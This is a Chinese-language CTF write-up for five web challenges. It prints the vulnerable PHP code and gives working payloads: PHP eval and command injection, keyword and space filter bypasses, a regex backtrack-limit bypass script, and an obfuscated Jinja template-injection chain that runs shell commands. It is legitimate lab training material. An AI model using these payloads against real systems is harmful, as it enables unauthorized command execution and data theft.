Aurora 第一批入会赛 Writeup
前言
这场入会赛是我打的第一次 ctf 比赛,同时这篇文章也是我写的第一篇 wp,当时写得还是比较啰嗦,现在回头来看,很多内容其实是冗余的。不过我也懒得改了,这篇 WriteUp 也没有什么参考价值,就放出来当作一份回忆来看待吧
[easy]Welcome
一道很简单的 php 全局数组嵌套题, 对我来说难点在于: 如何在 HTTP 报文中表示一个 php 关联数组
第一步,分析题目
打开 url 后获取内容如下
<?php
highlight_file(__FILE__);
error_reporting(0);
eval($_REQUEST[$_POST[$_GET[$_COOKIE['Welcome']]]]['t']['o']['A']['u']['r']['o']['r']['a']);
?>
首先判断可攻击语句, 发现含有 eval
函数, 该函数能将字符串转换为 php 代码并执行, 是危险函数
于是我们的目标就是使 eval
函数执行用户输入的代码
想要做到这一点, 必须深入分析
eval($_REQUEST[$_POST[$_GET[$_COOKIE['Welcome']]]]['t']['o']['A']['u']['r']['o']['r']['a']);
$_COOKIE['Welcome']
会被替代为 cookies 中名为 Welcome 的变量的值, 于是在请求头中添加 cookie: Welcome=a- 在将
$_COOKIE['Welcome']
替换为 a 后,$_GET[a]
会被替代为 get 请求参数 中参数名为 a 的值, 故在请求 url 后添加查询参数?a=b
- 依次类推
$_POST[b]
可以在请求体中添加 b=c, 重点是如何使$_REQUEST[c]
成为一个 php 的关联数组
重点: 可以在 HTTP 请求报文中, 以 array[index_1][index_2][index_3]=value
的方式构造关联数组
第二步, 构造 HTTP 请求报文
使用 Burp Suite 抓包, 获取请求报文, 然后将其发送到 Repeater 中
GET / HTTP/2
Host: 4b7c9300-1515-4d47-b2fb-4941267425e7.actf-node.szu.moe
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
然后根据第一步进行构造:
POST /?a=b HTTP/2
Host: 4b7c9300-1515-4d47-b2fb-4941267425e7.actf-node.szu.moe
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-site
Sec-Fetch-User: ?1
Te: trailers
Content-Type: application/x-www-form-urlencoded
Cookie: Welcome=a
Content-Length: 38
b=c&c[t][o][A][u][r][o][r][a]=echo hi;
可以看到成功执行了 echo hi
接下来将 echo hi;
更换为特定的命令, 即可获取 flag;
- 使用
system('ls /');
发现根目录有可疑文件
- 使用
system('cat /flaggggaaaeeeiiou');
读取文件, 成功 Capture The Flag!
[easy]Listen to Me
第一步, 下载音乐, 并分析隐含内容
我习惯挂着 Burp Suite 做题, 所以一眼看到网页源码里引用了两个路径
一个是图片 hariki.jpg, 另一个是音乐 Axium_Crisis.mp3
引入图片是方式是 url(‘hikari.jpg’), 没法直接知道路径, 但是引用音乐使用的应该是相对路径, 说明这个音乐和当前页面同级, 于是访问 /Axium_Crisis.mp3 路由下载音乐
然后根据题面, 我想是不是要将音乐转换为二进制再从中提取 flag, 然后就跑去搜: “音频隐写”
结果搜到了一个叫作 “mp3隐写” 的玩意, 里面提到了一种做法: 把mp3文件后缀名改为txt, 在里面找 password, 然后就发现文件末尾有一段 php 代码(笑死,一开始我还在想是不是把密码学的题出到web来了,直到看见这段 php)
<?php
if(isset($_POST['pass'])){
$pass = $_POST['pass'];
if(md5($pass)==='80e0b2a2c1a1d6d47f9a9ff573c08c42'){
echo exec("nc".$_POST['Tairitsu']);
}
}
//index.php
?>
第二步 分析泄露的 php 代码, 找到可攻击的漏洞
分析这段 php 代码, 发现里面有一个不安全语句
echo exec("nc".$_POST['Tairitsu']);
这句话能让我们通过构造 post 载荷, 来使靶机执行我们想要的命令
但是要让 php 执行这段代码, 需要过两关:
1、post 关键字中要有 pass: if(isset($_POST['pass']))
2、pass 中携带的信息经 md5 加密后, 为 80e0b2a2c1a1d6d47f9a9ff573c08c42: if(md5($pass)==='80e0b2a2c1a1d6d47f9a9ff573c08c42')
第三步 确定 pass
其实就是一个输入密码的过程, pass 里面是密码, 密码对了, 你就能利用 exec 函数操作靶机
那密码是啥, 把代码中给出的 md5 字符串解密一下即可:
第四步 构造 Tairitsu
现在问题只剩下一个, 就是如何构造攻击载荷, 使echo exec("nc".$_POST['Tairitsu']);
执行我们想要的命令
一开始我想的是用 ncat 进行反弹 shell, 因为 exec
后面跟了 nc
命令, 但是失败了, 然后尝试先用分号隔开 nc
, 后面跟上其它命令, 成功
请求报文如下:
POST /index.php HTTP/2
Host: 189d720a-2853-42d2-b90c-8a0c3aad316f.actf-node.szu.moe
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-site
Sec-Fetch-User: ?1
Te: trailers
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
pass=hikari&Tairitsu=;cd /;echo *
结果如下:
可以看到根目录包含的文件/文件夹被打印出来了
发现可疑文件 fl3gaaa
于是使用 payload: Tairitsu=;cd /;cat fl3gaaa
查看其内容
成功 Capture The Flag!
[medium]ezrce
第一步, 绕过限制, 获取页面源码
打开 url 后是以下页面
使用 Burp Suite 查看源码, 发现禁用了很多查看页面源代码的方式
但是由于用了 Burp Suite, 全都绕过了, 不需要理会(笑)
HTTP/1.1 200 OK
Server: nginx/1.17.10
Date: Sun, 29 Oct 2023 10:27:26 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 463
Connection: close
Content-Encoding: gzip
Vary: Accept-Encoding
X-Powered-By: PHP/7.4.33
<p style="font-family:arial;color:black;font-size:20px;text-align:center;">前端做得很low 请各位见谅Orz</p>
<p style="font-family:arial;color:black;font-size:30px;text-align:center;">Flag不在这里哦</p>
</body>
<!--try /shell.php-->
<script>
document.oncontextmenu=function() {
alert("右键被禁用");
return false;
};
document.onkeydown = function(e) {
e = window.event || e;
var k = e.keyCode;
//屏蔽ctrl+u,F12键
if ((e.ctrlKey == true && k == 85) || k == 123) {
if (k == 85)
alert("Ctrl+U被禁用!");
else
alert("F12被禁用!");
e.keyCode = 0;
e.returnValue = false;
e.cancelBubble = true;
return false;
}
}
</script>
在源码中发现Hint: <!--try /shell.php-->
于是访问 url/shell.php, 获取内容如下:
<?php
highlight_file(__FILE__);
error_reporting(0);
$a = $_GET['param1']?$_GET['param1']:'';
$b = $_GET['param2']?$_GET['param2']:'';
if($a!==$b&&md5($a)===md5($b)){
if(isset($_GET['cmd'])){
$cmd = $_GET['cmd'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|system|exec|shell_exec|tac|od|vi|vim/i", $cmd)){
system($cmd);
}
else{
die("Hacker!");
}
}
}
else{
echo "Try hard!";
}
?>
Try hard!
第二步, 分析代码
首先发现不安全代码, 这是我们攻击的目标
$cmd = $_GET['cmd'];
...
system($cmd)
要成功执行这段代码, 需要过两关:
1.传入两个查询参数 param1 和 param2
, 并且这两个参数需要满足
$a = $_GET['param1']?$_GET['param1']:'';
$b = $_GET['param2']?$_GET['param2']:'';
...
$a!==$b&&md5($a)===md5($b)
即找到两个字符串, 二者不相同但是经过 md5 加密后相同
这里有两种做法, 第一种是使用 md5 硬碰撞, 找到两串满足条件的字符串, 这个方法可以但不建议; 第二种方法是使用数组传参绕过, 原理是php数组在经过 md5 加密后结果都是 null
2.要绕过以下正则表达式
(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|system|exec|shell_exec|tac|od|vi|vim/i", $cmd))
可以发现该正则表达式过滤了大量关键字, 并且过滤了 所有数字、$符号、分号与空格 等等
关键字的过滤可以使用 关''键字
或者 关\键字
的方式绕过
空格的过滤可以使用 <>
、%20
、%09
等方式绕过
注: <>
有些时候无法使用, %09
虽然包含了数字, 但不会被检测数字的正则表达式拦, 查百度也看到了使用 {a,b}
的方式来绕过空格, 但是测试发现这题用不了这个方法
第三步, 根据分析, 构造pyload
可以构造 pyload: url/shell.php?param1[]=1¶m2[]=2&cmd=ls%09/ 来查看根目录的所有文件
最后使用 url/shell.php?param1[]=1¶m2[]=2&cmd=c”at%09/f”lag 获取flag
[medium]JustPHP
第一步, 分析代码
访问 url 后获取内容如下:
<?php
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
//do you know some function about PHP?
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==2333){
die("No No No!");
}
if(preg_match("/[a-zA-z]|\./i", $num)){
die("No No No!");
}
if(intval($num, 0) === 2333){
echo "Level 1 OK!";
echo "<br>";
if(isset($_POST['ikun'])){
$ikun = $_POST['ikun'];
if(substr($ikun, 0, 4)==='ikun'&&substr($ikun, -11, 11)==='luchujijiao' && $ikun !== 'ikunluchujijiao'){
if(preg_match('/ikun.+?luchujijiao/is' , $ikun)){ //what is it? Are there some ways to bypass this preg_match? Maybe an article written by leavesong can give you answer.
die("你是假ikun!");
}
else{
echo "giegie很满意, 决定给你flag: ";
echo "<br>";
echo $flag;
}
}
else{
die("你是假ikun!");
}
}
else{
echo "You are not an ikun!";
}
}
else{
echo "nonono!";
echo "<br>";
}
}
else{
echo "Give me a num.";
echo "<br>";
}
?> Give me a num.
代码比较长, 粗略分析可以知道, 这题需要过两关才能获得 flag
第二步, 利用 intval 特性绕过
第一关需要我们传入一个查询参数 num
, 并且需要满足三个条件
- 转换为整数后不等于 2333
- 不包含大小写字母和小数点
- 经过 intval($num, 0) 变换后与 2333 相等
这里需要利用 intval 的特性来过关, intval 是 php 中用于获取变量整数值的函数, 语法如下:
intval(var, base)
//var指要转换成 integer 的数量值,base指转化所使用的进制
// 如果 base 是 0,通过检测 var 的格式来决定使用的进制:
// 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);
// 如果字符串以 "0" 开始,使用 8 进制(octal);
// 否则将使用 10 进制 (decimal)。
如此, 我们便可以使用 2333的八进制 来通过这个关卡, 传参 num=04435 即可
第三步, 正则回溯绕过
第二关需要我们传入一个名为 ikun 的 post 参数
这个参数需要满足:
- 前4个字符是
ikun
, 后11个字符是luchujijiao
- 正则匹配
preg_match('/ikun.+?luchujijiao/is' , $ikun)
需要返回 False, 但是这个正则表达式在匹配到形如ikun + 任意字符串 + luchujijioa
的字符串后会返回 True
乍一看这是个不可能完成的任务, 第一个条件把 ikun 的形式锁死了: 必须是 ikun + xxx + luchujijiao
, 但是这样又会被题中的正则表达式判定为 True
这里可以利用php则表达式的回溯上限来绕过, 我们使用 ikun=ikun + 超长字符串 + luchujijiao 来让正则表达式在匹配时超出其回溯上限, 这样的话php会防止代码超时而返回 False
由于 php 的回溯上限一般在 10的6次方 左右, 我们可以利用以下 python 脚本来获取 flag
import requests
url = "https://85f28e51-3244-47bc-adef-554ce20a19f3.actf-node.szu.moe/?num=04435"
data = {'ikun': 'ikun' + 'a' * (10**6 + 1) + 'luchujijiao'}
response = requests.post(url=url, data=data, verify=False)
print(response.text)
成功 Capture The Flag!
[medium]normalssti
第一步, 判断是否存在模板注入
访问题目 url, 能看到如下页面
这里盲猜可以使用查询参数来传入 name, 于是尝试 url/?name=测试
初步判断该网页使用了模板, 将变量 name 的内容渲染到了页面中, 接下来判断是否存在模板注入, 于是尝试 url/?name={{2*2}}
可以发现页面中没有把 {{2*2}}
渲染出来, 而是将 2*2 给执行了, 说明存在模板注入
第二步, 绕过关键字进行模板注入
根据题目提示可以知道限制了很多关键词, 包括 _
、class
、init
等
我们从原始 pyload 入手, 慢慢将限制绕过
原始 pyload:
name=''.__class__.__base__.__subclasses__()[100].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cmd').read()")
先解释一下这个 pyload
__class__
获取对象的类__base__
获取指定类的父类__subclasses__()
返回一个由 “该类的所有派生类” 组成的列表__init__
初始化方法, 返回一个对象__globals__
返回一个由 “当前命名空间下所有变量和函数” 组成的字典- 最后获取
eval
函数, 并在其中获得 os 模块, 以操作靶机的 shell
我们可以通过更改 payload 中 cmd 处的内容来让靶机执行我们的恶意命令, 从而获取 flag
那么要怎么绕过限制呢?经测试, 上述 pyload 中所有关键词均被拦截, 例如 class
- 对于被禁用的关键词, 我们可以使用字符串拼接的方式绕过, 例如
''c__class__
可替换为''["__cla"+"ss__"]
- 对于被禁用的下划线, 我们可以使用其十六进制作为替代:
\x5f
于是我们可以利用以下 python 脚本来构造 pyload
shell = "''.__class__.__base__.__subclasses__()[100].__init__.__globals__['__builtins__']['eval'](\"__import__('os').popen('cmd').read()\")"
print(shell)
shell = shell.replace(".__class__", "[\"__cla\"+\"ss__\"]")
shell = shell.replace(".__base__", "[\"__ba\"+\"se__\"]")
shell = shell.replace(".__subclasses__", "[\"__subcla\"+\"sses__\"]")
shell = shell.replace(".__init__", "[\"__in\"+\"it__\"]")
shell = shell.replace(".__globals__", "[\"__glo\"+\"bals__\"]")
shell = shell.replace(".__builtins__", "[\"__bui\"+\"ltins__\"]")
shell = shell.replace("eval", "ev'+'al")
shell = shell.replace("\"__import__('os').popen('cmd').read()\"", "\"__imp\"+\"ort__('o'+'s').po\"+\"pen('cmd').re\"+\"ad()\"")
shell = shell.replace("_", "\\x5f")
print(shell)
最终 pyload: name={{''["\x5f\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fba"+"se\x5f\x5f"]["\x5f\x5fsubcla"+"sses\x5f\x5f"]()[100]["\x5f\x5fin"+"it\x5f\x5f"]["\x5f\x5fglo"+"bals\x5f\x5f"]['\x5f\x5fbuiltins\x5f\x5f']['ev'+'al']("\x5f\x5fimp"+"ort\x5f\x5f('o'+'s').po"+"pen('cmd').re"+"ad()")}}
将 cmd 替换为, ls /
, 查看根目录文件
可以发现可疑文件 Aurora, 使用 cat /Aurora
后发现没有输出, 判断这是个文件夹, 于是使用 ls /Aurora
来查看其内容
可以看到 flag 在 /Aurora 中, 最后使用 cat /Aurora/flaaaagggg
成功 Capture The Flag!